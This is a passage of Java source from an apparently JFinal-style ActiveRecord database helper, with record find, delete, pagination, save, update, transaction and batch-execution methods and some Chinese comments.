sql.\n\t * @param sql an SQL statement that may contain one or more '?' IN parameter placeholders\n\t * @param paras the parameters of sql\n\t * @return the Record object\n\t */\n\tpublic Record findFirst(String sql, Object... paras) {\n\t\tList<Record> result = find(sql, paras);\n\t\treturn result.size() > 0 ? result.get(0) : null;\n\t}\n\t\n\t/**\n\t * @see #findFirst(String, Object...)\n\t * @param sql an SQL statement\n\t */\n\tpublic Record findFirst(String sql) {\n\t\treturn findFirst(sql, DbKit.NULL_PARA_ARRAY);\n\t}\n\t\n\t/**\n\t * Find record by id with default primary key.\n\t * <pre>\n\t * Example:\n\t * Record user = Db.use().findById(\"user\", 15);\n\t * </pre>\n\t * @param tableName the table name of the table\n\t * @param idValue the id value of the record\n\t */\n\tpublic Record findById(String tableName, Object idValue) {\n\t\treturn findByIds(tableName, config.dialect.getDefaultPrimaryKey(), idValue);\n\t}\n\t\n\tpublic Record findById(String tableName, String primaryKey, Object idValue) {\n\t\treturn findByIds(tableName, primaryKey, idValue);\n\t}\n\t\n\t/**\n\t * Find record by ids.\n\t * <pre>\n\t * Example:\n\t * Record user = Db.use().findByIds(\"user\", \"user_id\", 123);\n\t * Record userRole = Db.use().findByIds(\"user_role\", \"user_id, role_id\", 123, 456);\n\t * </pre>\n\t * @param tableName the table name of the table\n\t * @param primaryKey the primary key of the table, composite primary key is separated by comma character: \",\"\n\t * @param idValues the id value of the record, it can be composite id values\n\t */\n\tpublic Record findByIds(String tableName, String primaryKey, Object... idValues) {\n\t\tString[] pKeys = primaryKey.split(\",\");\n\t\tif (pKeys.length != idValues.length)\n\t\t\tthrow new IllegalArgumentException(\"primary key number must equals id value number\");\n\t\t\n\t\tString sql = config.dialect.forDbFindById(tableName, pKeys);\n\t\tList<Record> result = find(sql, idValues);\n\t\treturn result.size() > 0 ? result.get(0) : null;\n\t}\n\t\n\t/**\n\t * Delete record by id with default primary key.\n\t * <pre>\n\t * Example:\n\t * Db.use().deleteById(\"user\", 15);\n\t * </pre>\n\t * @param tableName the table name of the table\n\t * @param idValue the id value of the record\n\t * @return true if delete succeed otherwise false\n\t */\n\tpublic boolean deleteById(String tableName, Object idValue) {\n\t\treturn deleteByIds(tableName, config.dialect.getDefaultPrimaryKey(), idValue);\n\t}\n\t\n\tpublic boolean deleteById(String tableName, String primaryKey, Object idValue) {\n\t\treturn deleteByIds(tableName, primaryKey, idValue);\n\t}\n\t\n\t/**\n\t * Delete record by ids.\n\t * <pre>\n\t * Example:\n\t * Db.use().deleteByIds(\"user\", \"user_id\", 15);\n\t * Db.use().deleteByIds(\"user_role\", \"user_id, role_id\", 123, 456);\n\t * </pre>\n\t * @param tableName the table name of the table\n\t * @param primaryKey the primary key of the table, composite primary key is separated by comma character: \",\"\n\t * @param idValues the id value of the record, it can be composite id values\n\t * @return true if delete succeed otherwise false\n\t */\n\tpublic boolean deleteByIds(String tableName, String primaryKey, Object... idValues) {\n\t\tString[] pKeys = primaryKey.split(\",\");\n\t\tif (pKeys.length != idValues.length)\n\t\t\tthrow new IllegalArgumentException(\"primary key number must equals id value number\");\n\t\t\n\t\tString sql = config.dialect.forDbDeleteById(tableName, pKeys);\n\t\treturn update(sql, idValues) >= 1;\n\t}\n\t\n\t/**\n\t * Delete record.\n\t * <pre>\n\t * Example:\n\t * boolean succeed = Db.use().delete(\"user\", \"id\", user);\n\t * </pre>\n\t * @param tableName the table name of the table\n\t * @param primaryKey the primary key of the table, composite primary key is separated by comma character: \",\"\n\t * @param record the record\n\t * @return true if delete succeed otherwise false\n\t */\n\tpublic boolean delete(String tableName, String primaryKey, Record record) {\n\t\tString[] pKeys = primaryKey.split(\",\");\n\t\tif (pKeys.length <= 1) {\n\t\t\tObject t = record.get(primaryKey);\t// 引入中间变量避免 JDK 8 传参有误\n\t\t\treturn deleteByIds(tableName, primaryKey, t);\n\t\t}\n\t\t\n\t\tconfig.dialect.trimPrimaryKeys(pKeys);\n\t\tObject[] idValue = new Object[pKeys.length];\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tidValue[i] = record.get(pKeys[i]);\n\t\t\tif (idValue[i] == null)\n\t\t\t\tthrow new IllegalArgumentException(\"The value of primary key \\\"\" + pKeys[i] + \"\\\" can not be null in record object\");\n\t\t}\n\t\treturn deleteByIds(tableName, primaryKey, idValue);\n\t}\n\t\n\t/**\n\t * <pre>\n\t * Example:\n\t * boolean succeed = Db.use().delete(\"user\", user);\n\t * </pre>\n\t * @see #delete(String, String, Record)\n\t */\n\tpublic boolean delete(String tableName, Record record) {\n\t\tString defaultPrimaryKey = config.dialect.getDefaultPrimaryKey();\n\t\tObject t = record.get(defaultPrimaryKey);\t// 引入中间变量避免 JDK 8 传参有误\n\t\treturn deleteByIds(tableName, defaultPrimaryKey, t);\n\t}\n\t\n\t/**\n\t * Execute delete sql statement.\n\t * @param sql an SQL statement that may contain one or more '?' IN parameter placeholders\n\t * @param paras the parameters of sql\n\t * @return the row count for <code>DELETE</code> statements, or 0 for SQL statements \n     *         that return nothing\n\t */\n\tpublic int delete(String sql, Object... paras) {\n\t\treturn update(sql, paras);\n\t}\n\t\n\t/**\n\t * @see #delete(String, Object...)\n\t * @param sql an SQL statement\n\t */\n\tpublic int delete(String sql) {\n\t\treturn update(sql);\n\t}\n\t\n\t/**\n\t * Paginate.\n\t * @param pageNumber the page number\n\t * @param pageSize the page size\n\t * @param select the select part of the sql statement\n\t * @param sqlExceptSelect the sql statement excluded select part\n\t * @param paras the parameters of sql\n\t * @return the Page object\n\t */\n\tpublic Page<Record> paginate(int pageNumber, int pageSize, String select, String sqlExceptSelect, Object... paras) {\n\t\treturn doPaginate(pageNumber, pageSize, null, select, sqlExceptSelect, paras);\n\t}\n\t\n\tpublic Page<Record> paginate(int pageNumber, int pageSize, String select, String sqlExceptSelect) {\n\t\treturn doPaginate(pageNumber, pageSize, null, select, sqlExceptSelect, DbKit.NULL_PARA_ARRAY);\n\t}\n\t\n\tpublic Page<Record> paginate(int pageNumber, int pageSize, boolean isGroupBySql, String select, String sqlExceptSelect, Object... paras) {\n\t\treturn doPaginate(pageNumber, pageSize, isGroupBySql, select, sqlExceptSelect, paras);\n\t}\n\t\n\tprotected Page<Record> doPaginate(int pageNumber, int pageSize, Boolean isGroupBySql, String select, String sqlExceptSelect, Object... paras) {\n\t\tConnection conn = null;\n\t\ttry {\n\t\t\tconn = config.getConnection();\n\t\t\tString totalRowSql = config.dialect.forPaginateTotalRow(select, sqlExceptSelect, null);\n\t\t\tStringBuilder findSql = new StringBuilder();\n\t\t\tfindSql.append(select).append(' ').append(sqlExceptSelect);\n\t\t\treturn doPaginateByFullSql(config, conn, pageNumber, pageSize, isGroupBySql, totalRowSql, findSql, paras);\n\t\t} catch (Exception e) {\n\t\t\tthrow new ActiveRecordException(e);\n\t\t} finally {\n\t\t\tconfig.close(conn);\n\t\t}\n\t}\n\t\n\tprotected Page<Record> doPaginateByFullSql(Config config, Connection conn, int pageNumber, int pageSize, Boolean isGroupBySql, String totalRowSql, StringBuilder findSql, Object... paras) throws SQLException {\n\t\tif (pageNumber < 1 || pageSize < 1) {\n\t\t\tthrow new ActiveRecordException(\"pageNumber and pageSize must more than 0\");\n\t\t}\n\t\tif (config.dialect.isTakeOverDbPaginate()) {\n\t\t\treturn config.dialect.takeOverDbPaginate(conn, pageNumber, pageSize, isGroupBySql, totalRowSql, findSql, paras);\n\t\t}\n\t\t\n\t\tList result = query(config, conn, totalRowSql, paras);\n\t\tint size = result.size();\n\t\tif (isGroupBySql == null) {\n\t\t\tisGroupBySql = size > 1;\n\t\t}\n\t\t\n\t\tlong totalRow;\n\t\tif (isGroupBySql) {\n\t\t\ttotalRow = size;\n\t\t} else {\n\t\t\ttotalRow = (size > 0) ? ((Number)result.get(0)).longValue() : 0;\n\t\t}\n\t\tif (totalRow == 0) {\n\t\t\treturn new Page<Record>(new ArrayList<Record>(0), pageNumber, pageSize, 0, 0);\n\t\t}\n\t\t\n\t\tint totalPage = (int) (totalRow / pageSize);\n\t\tif (totalRow % pageSize != 0) {\n\t\t\ttotalPage++;\n\t\t}\n\t\t\n\t\tif (pageNumber > totalPage) {\n\t\t\treturn new Page<Record>(new ArrayList<Record>(0), pageNumber, pageSize, totalPage, (int)totalRow);\n\t\t}\n\t\t\n\t\t// --------\n\t\tString sql = config.dialect.forPaginate(pageNumber, pageSize, findSql);\n\t\tList<Record> list = find(config, conn, sql, paras);\n\t\treturn new Page<Record>(list, pageNumber, pageSize, totalPage, (int)totalRow);\n\t}\n\t\n\tprotected Page<Record> paginate(Config config, Connection conn, int pageNumber, int pageSize, String select, String sqlExceptSelect, Object... paras) throws SQLException {\n\t\tString totalRowSql = config.dialect.forPaginateTotalRow(select, sqlExceptSelect, null);\n\t\tStringBuilder findSql = new StringBuilder();\n\t\tfindSql.append(select).append(' ').append(sqlExceptSelect);\n\t\treturn doPaginateByFullSql(config, conn, pageNumber, pageSize, null, totalRowSql, findSql, paras);\n\t}\n\t\n\tprotected Page<Record> doPaginateByFullSql(int pageNumber, int pageSize, Boolean isGroupBySql, String totalRowSql, String findSql, Object... paras) {\n\t\tConnection conn = null;\n\t\ttry {\n\t\t\tconn = config.getConnection();\n\t\t\tStringBuilder findSqlBuf = new StringBuilder().append(findSql);\n\t\t\treturn doPaginateByFullSql(config, conn, pageNumber, pageSize, isGroupBySql, totalRowSql, findSqlBuf, paras);\n\t\t} catch (Exception e) {\n\t\t\tthrow new ActiveRecordException(e);\n\t\t} finally {\n\t\t\tconfig.close(conn);\n\t\t}\n\t}\n\t\n\tpublic Page<Record> paginateByFullSql(int pageNumber, int pageSize, String totalRowSql, String findSql, Object... paras) {\n\t\treturn doPaginateByFullSql(pageNumber, pageSize, null, totalRowSql, findSql, paras);\n\t}\n\t\n\tpublic Page<Record> paginateByFullSql(int pageNumber, int pageSize, boolean isGroupBySql, String totalRowSql, String findSql, Object... paras) {\n\t\treturn doPaginateByFullSql(pageNumber, pageSize, isGroupBySql, totalRowSql, findSql, paras);\n\t}\n\t\n\tprotected boolean save(Config config, Connection conn, String tableName, String primaryKey, Record record) throws SQLException {\n\t\tString[] pKeys = primaryKey.split(\",\");\n\t\tList<Object> paras = new ArrayList<Object>();\n\t\tStringBuilder sql = new StringBuilder();\n\t\tconfig.dialect.forDbSave(tableName, pKeys, record, sql, paras);\n\t\t\n\t\ttry (PreparedStatement pst =\n\t\t\t\tconfig.dialect.isOracle() ?\n\t\t\t\tconn.prepareStatement(sql.toString(), pKeys) :\n\t\t\t\tconn.prepareStatement(sql.toString(), Statement.RETURN_GENERATED_KEYS)) {\n\t\t\tconfig.dialect.fillStatement(pst, paras);\n\t\t\tint result = pst.executeUpdate();\n\t\t\tconfig.dialect.getRecordGeneratedKey(pst, record, pKeys);\n\t\t\trecord.clearModifyFlag();\n\t\t\treturn result >= 1;\n\t\t}\n\t}\n\t\n\t/**\n\t * Save record.\n\t * <pre>\n\t * Example:\n\t * Record userRole = new Record().set(\"user_id\", 123).set(\"role_id\", 456);\n\t * Db.use().save(\"user_role\", \"user_id, role_id\", userRole);\n\t * </pre>\n\t * @param tableName the table name of the table\n\t * @param primaryKey the primary key of the table, composite primary key is separated by comma character: \",\"\n\t * @param record the record will be saved\n\t */\n\tpublic boolean save(String tableName, String primaryKey, Record record) {\n\t\tConnection conn = null;\n\t\ttry {\n\t\t\tconn = config.getConnection();\n\t\t\treturn save(config, conn, tableName, primaryKey, record);\n\t\t} catch (Exception e) {\n\t\t\tthrow new ActiveRecordException(e);\n\t\t} finally {\n\t\t\tconfig.close(conn);\n\t\t}\n\t}\n\t\n\t/**\n\t * @see #save(String, String, Record)\n\t */\n\tpublic boolean save(String tableName, Record record) {\n\t\treturn save(tableName, config.dialect.getDefaultPrimaryKey(), record);\n\t}\n\t\n\tprotected boolean update(Config config, Connection conn, String tableName, String primaryKey, Record record) throws SQLException {\n\t\tif (record.modifyFlag == null || record.modifyFlag.isEmpty()) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tString[] pKeys = primaryKey.split(\",\");\n\t\tObject[] ids = new Object[pKeys.length];\n\t\t\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tids[i] = record.get(pKeys[i].trim());\t// .trim() is important!\n\t\t\tif (ids[i] == null)\n\t\t\t\tthrow new ActiveRecordException(\"You can't update record without Primary Key, \" + pKeys[i] + \" can not be null.\");\n\t\t}\n\t\t\n\t\tStringBuilder sql = new StringBuilder();\n\t\tList<Object> paras = new ArrayList<Object>();\n\t\tconfig.dialect.forDbUpdate(tableName, pKeys, ids, record, sql, paras);\n\t\t\n\t\tif (paras.size() <= 1) {\t// 参数个数为 1 的情况表明只有主键，也无需更新\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tint result = update(config, conn, sql.toString(), paras.toArray());\n\t\tif (result >= 1) {\n\t\t\trecord.clearModifyFlag();\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}\n\t\n\t/**\n\t * Update Record.\n\t * <pre>\n\t * Example:\n\t * Db.use().update(\"user_role\", \"user_id, role_id\", record);\n\t * </pre>\n\t * @param tableName the table name of the Record save to\n\t * @param primaryKey the primary key of the table, composite primary key is separated by comma character: \",\"\n\t * @param record the Record object\n\t */\n\tpublic boolean update(String tableName, String primaryKey, Record record) {\n\t\tConnection conn = null;\n\t\ttry {\n\t\t\tconn = config.getConnection();\n\t\t\treturn update(config, conn, tableName, primaryKey, record);\n\t\t} catch (Exception e) {\n\t\t\tthrow new ActiveRecordException(e);\n\t\t} finally {\n\t\t\tconfig.close(conn);\n\t\t}\n\t}\n\t\n\t/**\n\t * Update record with default primary key.\n\t * <pre>\n\t * Example:\n\t * Db.use().update(\"user\", record);\n\t * </pre>\n\t * @see #update(String, String, Record)\n\t */\n\tpublic boolean update(String tableName, Record record) {\n\t\treturn update(tableName, config.dialect.getDefaultPrimaryKey(), record);\n\t}\n\t\n\tpublic Object execute(ICallback callback) {\n\t\treturn execute(config, callback);\n\t}\n\t\n\t/**\n\t * Execute callback. It is useful when all the API can not satisfy your requirement.\n\t * @param config the Config object\n\t * @param callback the ICallback interface\n\t */\n\tprotected Object execute(Config config, ICallback callback) {\n\t\tConnection conn = null;\n\t\ttry {\n\t\t\tconn = config.getConnection();\n\t\t\treturn callback.call(conn);\n\t\t} catch (Exception e) {\n\t\t\tthrow new ActiveRecordException(e);\n\t\t} finally {\n\t\t\tconfig.close(conn);\n\t\t}\n\t}\n\t\n\t/**\n\t * Execute transaction.\n\t * @param config the Config object\n\t * @param transactionLevel the transaction level\n\t * @param atom the atom operation\n\t * @return true if transaction executing succeed otherwise false\n\t */\n\tprotected boolean tx(Config config, int transactionLevel, IAtom atom) {\n\t\tConnection conn = config.getThreadLocalConnection();\n\t\tif (conn != null) {\t// Nested transaction support\n\t\t\ttry {\n\t\t\t\tif (conn.getTransactionIsolation() < transactionLevel)\n\t\t\t\t\tconn.setTransactionIsolation(transactionLevel);\n\t\t\t\tboolean result = atom.run();\n\t\t\t\tif (result)\n\t\t\t\t\treturn true;\n\t\t\t\tthrow new ActiveRecordException(\"Notice the outer transaction that the nested transaction return false\");\t// important:can not return false\n\t\t\t}\n\t\t\tcatch (SQLException e) {\n\t\t\t\tStaticLog.error(e.getMessage());\n\t\t\t\tthrow new ActiveRecordException(e);\n\t\t\t}\n\t\t}\n\t\t\n\t\tBoolean autoCommit = null;\n\t\ttry {\n\t\t\tconn = config.getConnection();\n\t\t\tautoCommit = conn.getAutoCommit();\n\t\t\tconfig.setThreadLocalConnection(conn);\n\t\t\tconn.setTransactionIsolation(transactionLevel);\n\t\t\tconn.setAutoCommit(false);\n\t\t\tboolean result = atom.run();\n\t\t\tif (result)\n\t\t\t\tconn.commit();\n\t\t\telse\n\t\t\t\tconn.rollback();\n\t\t\treturn result;\n\t\t} catch (ActiveRecordException e) {\n\t\t\tif (conn != null) try {conn.rollback();} catch (Exception e1) {\n\t\t\t\tLogKit.error(e1.getMessage(), e1);}\n\t\t\tLogKit.logNothing(e);\n\t\t\treturn false;\n\t\t} catch (Throwable t) {\n\t\t\tif (conn != null) try {conn.rollback();} catch (Exception e1) {LogKit.error(e1.getMessage(), e1);}\n\t\t\tthrow t instanceof RuntimeException ? (RuntimeException)t : new ActiveRecordException(t);\n\t\t} finally {\n\t\t\ttry {\n\t\t\t\tif (conn != null) {\n\t\t\t\t\tif (autoCommit != null)\n\t\t\t\t\t\tconn.setAutoCommit(autoCommit);\n\t\t\t\t\tconn.close();\n\t\t\t\t}\n\t\t\t} catch (Throwable t) {\n\t\t\t\tLogKit.error(t.getMessage(), t);\t// can not throw exception here, otherwise the more important exception in previous catch block can not be thrown\n\t\t\t} finally {\n\t\t\t\tconfig.removeThreadLocalConnection();\t// prevent memory leak\n\t\t\t}\n\t\t}\n\t}\n\t\n\t/**\n\t * Execute transaction with default transaction level.\n\t * @see #tx(int, IAtom)\n\t */\n\tpublic boolean tx(IAtom atom) {\n\t\treturn tx(config, config.getTransactionLevel(), atom);\n\t}\n\t\n\tpublic boolean tx(int transactionLevel, IAtom atom) {\n\t\treturn tx(config, transactionLevel, atom);\n\t}\n\t\n\t/**\n\t * 主要用于嵌套事务场景\n\t * \n\t * 实例：https://jfinal.com/feedback/4008\n\t * \n\t * 默认情况下嵌套事务会被合并成为一个事务，那么内层与外层任何地方回滚事务\n\t * 所有嵌套层都将回滚事务，也就是说嵌套事务无法独立提交与回滚\n\t * \n\t * 使用 txInNewThread(...) 方法可以实现层之间的事务控制的独立性\n\t * 由于事务处理是将 Connection 绑定到线程上的，所以 txInNewThread(...)\n\t * 通过建立新线程来实现嵌套事务的独立控制\n\t */\n\tpublic Future<Boolean> txInNewThread(IAtom atom) {\n\t\tFutureTask<Boolean> task = new FutureTask<>(() -> tx(config, config.getTransactionLevel(), atom));\n\t\tThread thread = new Thread(task);\n\t\tthread.setDaemon(true);\n\t\tthread.start();\n\t\treturn task;\n\t}\n\t\n\tpublic Future<Boolean> txInNewThread(int transactionLevel, IAtom atom) {\n\t\tFutureTask<Boolean> task = new FutureTask<>(() -> tx(config, transactionLevel, atom));\n\t\tThread thread = new Thread(task);\n\t\tthread.setDaemon(true);\n\t\tthread.start();\n\t\treturn task;\n\t}\n\t\n\t/**\n\t * Find Record by cache.\n\t * @see #find(String, Object...)\n\t * @param cacheName the cache name\n\t * @param key the key used to get date from cache\n\t * @return the list of Record\n\t */\n//\tpublic List<Record> findByCache(String cacheName, Object key, String sql, Object... paras) {\n//\t\tICache cache = config.getCache();\n//\t\tList<Record> result = cache.get(cacheName, key);\n//\t\tif (result == null) {\n//\t\t\tresult = find(sql, paras);\n//\t\t\tcache.put(cacheName, key, result);\n//\t\t}\n//\t\treturn result;\n//\t}\n\t\n\t/**\n\t * @see #findByCache(String, Object, String, Object...)\n\t */\n//\tpublic List<Record> findByCache(String cacheName, Object key, String sql) {\n//\t\treturn findByCache(cacheName, key, sql, NULL_PARA_ARRAY);\n//\t}\n\t\n\t/**\n\t * Find first record by cache. I recommend add \"limit 1\" in your sql.\n\t * @see #findFirst(String, Object...)\n\t * @param cacheName the cache name\n\t * @param key the key used to get date from cache\n\t * @param sql an SQL statement that may contain one or more '?' IN parameter placeholders\n\t * @param paras the parameters of sql\n\t * @return the Record object\n\t */\n//\tpublic Record findFirstByCache(String cacheName, Object key, String sql, Object... paras) {\n//\t\tICache cache = config.getCache();\n//\t\tRecord result = cache.get(cacheName, key);\n//\t\tif (result == null) {\n//\t\t\tresult = findFirst(sql, paras);\n//\t\t\tcache.put(cacheName, key, result);\n//\t\t}\n//\t\treturn result;\n//\t}\n\t\n\t/**\n\t * @see #findFirstByCache(String, Object, String, Object...)\n\t */\n//\tpublic Record findFirstByCache(String cacheName, Object key, String sql) {\n//\t\treturn findFirstByCache(cacheName, key, sql, NULL_PARA_ARRAY);\n//\t}\n\t\n\t/**\n\t * Paginate by cache.\n\t * @see #paginate(int, int, String, String, Object...)\n\t * @return Page\n\t */\n//\tpublic Page<Record> paginateByCache(String cacheName, Object key, int pageNumber, int pageSize, String select, String sqlExceptSelect, Object... paras) {\n//\t\treturn doPaginateByCache(cacheName, key, pageNumber, pageSize, null, select, sqlExceptSelect, paras);\n//\t}\n\t\n\t/**\n\t *  paginateByCache(String, Object, int, int, String, String, Object...)\n\t */\n//\tpublic Page<Record> paginateByCache(String cacheName, Object key, int pageNumber, int pageSize, String select, String sqlExceptSelect) {\n//\t\treturn doPaginateByCache(cacheName, key, pageNumber, pageSize, null, select, sqlExceptSelect, NULL_PARA_ARRAY);\n//\t}\n//\n//\tpublic Page<Record> paginateByCache(String cacheName, Object key, int pageNumber, int pageSize, boolean isGroupBySql, String select, String sqlExceptSelect, Object... paras) {\n//\t\treturn doPaginateByCache(cacheName, key, pageNumber, pageSize, isGroupBySql, select, sqlExceptSelect, paras);\n//\t}\n\t\n//\tprotected Page<Record> doPaginateByCache(String cacheName, Object key, int pageNumber, int pageSize, Boolean isGroupBySql, String select, String sqlExceptSelect, Object... paras) {\n//\t\tICache cache = config.getCache();\n//\t\tPage<Record> result = cache.get(cacheName, key);\n//\t\tif (result == null) {\n//\t\t\tresult = doPaginate(pageNumber, pageSize, isGroupBySql, select, sqlExceptSelect, paras);\n//\t\t\tcache.put(cacheName, key, result);\n//\t\t}\n//\t\treturn result;\n//\t}\n\t\n\tprotected int[] batch(Config config, Connection conn, String sql, Object[][] paras, int batchSize) throws SQLException {\n\t\tif (paras == null || paras.length == 0)\n\t\t\treturn new int[0];\n\t\tif (batchSize < 1)\n\t\t\tthrow new IllegalArgumentException(\"The batchSize must more than 0.\");\n\t\t\n\t\tboolean isInTransaction = config.isInTransaction();\n\t\tint counter = 0;\n\t\tint pointer = 0;\n\t\tint[] result = new int[paras.length];\n\t\ttry (PreparedStatement pst = conn.prepareStatement(sql)) {\n\t\t\tfor (int i=0; i<paras.length; i++) {\n\t\t\t\tfor (int j=0; j<paras[i].length; j++) {\n\t\t\t\t\tObject value = paras[i][j];\n\t\t\t\t\tif (value instanceof java.util.Date) {\n\t\t\t\t\t\tif (value instanceof java.sql.Date) {\n\t\t\t\t\t\t\tpst.setDate(j + 1, (java.sql.Date)value);\n\t\t\t\t\t\t} else if (value instanceof java.sql.Timestamp) {\n\t\t\t\t\t\t\tpst.setTimestamp(j + 1, (java.sql.Timestamp)value);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// Oracle、SqlServer 中的 TIMESTAMP、DATE 支持 new Date() 给值\n\t\t\t\t\t\t\tjava.util.Date d = (java.util.Date)value;\n\t\t\t\t\t\t\tpst.setTimestamp(j + 1, new java.sql.Timestamp(d.getTime()));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tpst.setObject(j + 1, value);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tpst.addBatch();\n\t\t\t\tif (++counter >= batchSize) {\n\t\t\t\t\tcounter = 0;\n\t\t\t\t\tint[] r = pst.executeBatch();\n\t\t\t\t\tif (isInTransaction == false)\n\t\t\t\t\t\tconn.commit();\n\t\t\t\t\tfor (int k=0; k<r.length; k++)\n\t\t\t\t\t\tresult[pointer++] = r[k];\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (counter != 0) {\n\t\t\t\tint[] r = pst.executeBatch();\n\t\t\t\tif (isInTransaction == false)\n\t\t\t\t\tconn.commit();\n\t\t\t\tfor (int k = 0; k < r.length; k++)\n\t\t\t\t\tresult[pointer++] = r[k];\n\t\t\t}\n\t\t\t\n\t\t\treturn result;\n\t\t}\n\t}\n\t\n    /**\n     * Execute a batch of SQL INSERT, UPDATE, or DELETE queries.\n     * <pre>\n     * Example:\n     * String sql = \"insert into user(name, cash) values(?, ?)\";\n     * int[] result = Db.use().batch(sql, new Object[][]{{\"James\", 888}, {\"zhanjin\", 888}});\n     * </pre>\n     * @param sql The SQL to execute.\n     * @param paras An array of query replacement parameters.  Each row in this array is one set of batch replacement values.\n     * @return The number of rows updated per statement\n     */\n\tpublic int[] batch(String sql, Object[][] paras, int batchSize) {\n\t\tConnection conn = null;\n\t\tBoolean autoCommit = null;\n\t\ttry {\n\t\t\tconn = config.getConnection();\n\t\t\tautoCommit = conn.getAutoCommit();\n\t\t\tconn.setAutoCommit(false);\n\t\t\treturn batch(config, conn, sql, paras, batchSize);\n\t\t} catch (Exception e) {\n\t\t\tthrow new ActiveRecordException(e);\n\t\t} finally {\n\t\t\tif (autoCommit != null)\n\t\t\t\ttry {conn.setAutoCommit(autoCommit);} catch (Exception e) {LogKit.error(e.getMessage(), e);}\n\t\t\tconfig.close(conn);\n\t\t}\n\t}\n\t\n\tprotected int[] batch(Config config, Connection conn, String sql, String columns, List list, int batchSize) throws SQLException {\n\t\tif (list == null || list.size() == 0)\n\t\t\treturn new int[0];\n\t\tObject element = list.get(0);\n\t\tif (!(element instanceof Record) /*&& !(element instanceof Model)*/)\n\t\t\tthrow new IllegalArgumentException(\"The element in list must be  Record.\");\n\t\tif (batchSize < 1)\n\t\t\tthrow new IllegalArgumentException(\"The batchSize must more than 0.\");\n//\t\tboolean isModel = element instanceof Model;\n\t\tboolean isModel = false;\n\n\t\tString[] columnArray = columns.split(\",\");\n\t\tfor (int i=0; i<columnArray.length; i++)\n\t\t\tcolumnArray[i] = columnArray[i].trim();\n\t\t\n\t\tboolean isInTransaction = config.isInTransaction();\n\t\tint counter = 0;\n\t\tint pointer = 0;\n\t\tint size = list.size();\n\t\tint[] result = new int[size];\n\t\ttry (PreparedStatement pst = conn.prepareStatement(sql)) {\n\t\t\tfor (int i=0; i<size; i++) {\n\t\t\t\tMap map = isModel ? /*((Model)list.get(i))._getAttrs()*/ null : ((Record)list.get(i)).getColumns();\n\t\t\t\tfor (int j=0; j<columnArray.length; j++) {\n\t\t\t\t\tObject value = map.get(columnArray[j]);\n\t\t\t\t\tif (value instanceof java.util.Date) {\n\t\t\t\t\t\tif (value instanceof java.sql.Date) {\n\t\t\t\t\t\t\tpst.setDate(j + 1, (java.sql.Date)value);\n\t\t\t\t\t\t} else if (value instanceof java.sql.Timestamp) {\n\t\t\t\t\t\t\tpst.setTimestamp(j + 1, (java.sql.Timestamp)value);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// Oracle、SqlServer 中的 TIMESTAMP、DATE 支持 new Date() 给值\n\t\t\t\t\t\t\tjava.util.Date d = (java.util.Date)value;\n\t\t\t\t\t\t\tpst.setTimestamp(j + 1, new java.sql.Timestamp(d.getTime()));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tpst.setObject(j + 1, value);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tpst.addBatch();\n\t\t\t\tif (++counter >= batchSize) {\n\t\t\t\t\tcounter = 0;\n\t\t\t\t\tint[] r = pst.executeBatch();\n\t\t\t\t\tif (isInTransaction == false)\n\t\t\t\t\t\tconn.commit();\n\t\t\t\t\tfor (int k=0; k<r.length; k++)\n\t\t\t\t\t\tresult[pointer++] = r[k];\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (counter != 0) {\n\t\t\t\tint[] r = pst.executeBatch();\n\t\t\t\tif (isInTransaction == false)\n\t\t\t\t\tconn.commit();\n\t\t\t\tfor (int k = 0; k < r.length; k++)\n\t\t\t\t\tresult[pointer++] = r[k];\n\t\t\t}\n\t\t\t\n\t\t\treturn result;\n\t\t}\n\t}\n\t\n\t/**\n     * Execute a batch of SQL INSERT, UPDATE, or DELETE queries.\n     * <pre>\n     * Example:\n     * String sql = \"insert into user(name, cash) values(?, ?)\";\n     * int[] result = Db.use().batch(sql, \"name, cash\", modelList, 500);\n     * </pre>\n\t * @param sql The SQL to execute.\n\t * @param columns the columns need be processed by sql.\n\t * @param modelOrRecordList model or record object list.\n\t * @param batchSize batch size.\n\t * @return The number of rows updated per statement\n\t */\n\tpublic int[] batch(String sql, String columns, List modelOrRecordList, int batchSize) {\n\t\tConnection conn = null;\n\t\tBoolean autoCommit = null;\n\t\ttry {\n\t\t\tconn = config.getConnection();\n\t\t\tautoCommit = conn.getAutoCommit();\n\t\t\tconn.setAutoCommit(false);\n\t\t\treturn batch(config, conn, sql, columns, modelOrRecordList, batchSize);\n\t\t} catch (Exception e) {\n\t\t\tthrow new ActiveRecordException(e);\n\t\t} finally {\n\t\t\tif (autoCommit != null)\n\t\t\t\ttry {conn.setAutoCommit(autoCommit);} catch (Exception e) {LogKit.error(e.getMessage(), e);}\n\t\t\tconfig.close(conn);\n\t\t}\n\t}\n\t\n\tprotected int[] batch(Config config, Connection conn, List<String> sqlList, int batchSize) throws SQLException {\n\t\tif (sqlList == null || sqlList.size() == 0)\n\t\t\treturn new int[0];\n\t\tif (batchSize < 1)\n\t\t\tthrow new IllegalArgumentException(\"The batchSize must more than 0.\");\n\t\t\n\t\tboolean isInTransaction = config.isInTransaction();\n\t\tint counter = 0;\n\t\tint pointer = 0;\n\t\tint size = sqlList.size();\n\t\tint[] result = new int[size];\n\t\ttry (Statement st = conn.createStatement()) {\n\t\t\tfor (int i=0; i<size; i++) {\n\t\t\t\tst.addBatch(sqlList.get(i));\n\t\t\t\tif (++counter >= batchSize) {\n\t\t\t\t\tcounter = 0;\n\t\t\t\t\tint[] r = st.executeBatch();\n\t\t\t\t\tif (isInTransaction == false)\n\t\t\t\t\t\tconn.commit();\n\t\t\t\t\tfor (int k=0; k<r.length; k++)\n\t\t\t\t\t\tresult[pointer++] = r[k];\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (counter != 0) {\n\t\t\t\tint[] r = st.executeBatch();\n\t\t\t\tif (isInTransaction == false)\n\t\t\t\t\tconn.commit();\n\t\t\t\tfor (int k = 0; k < r.length; 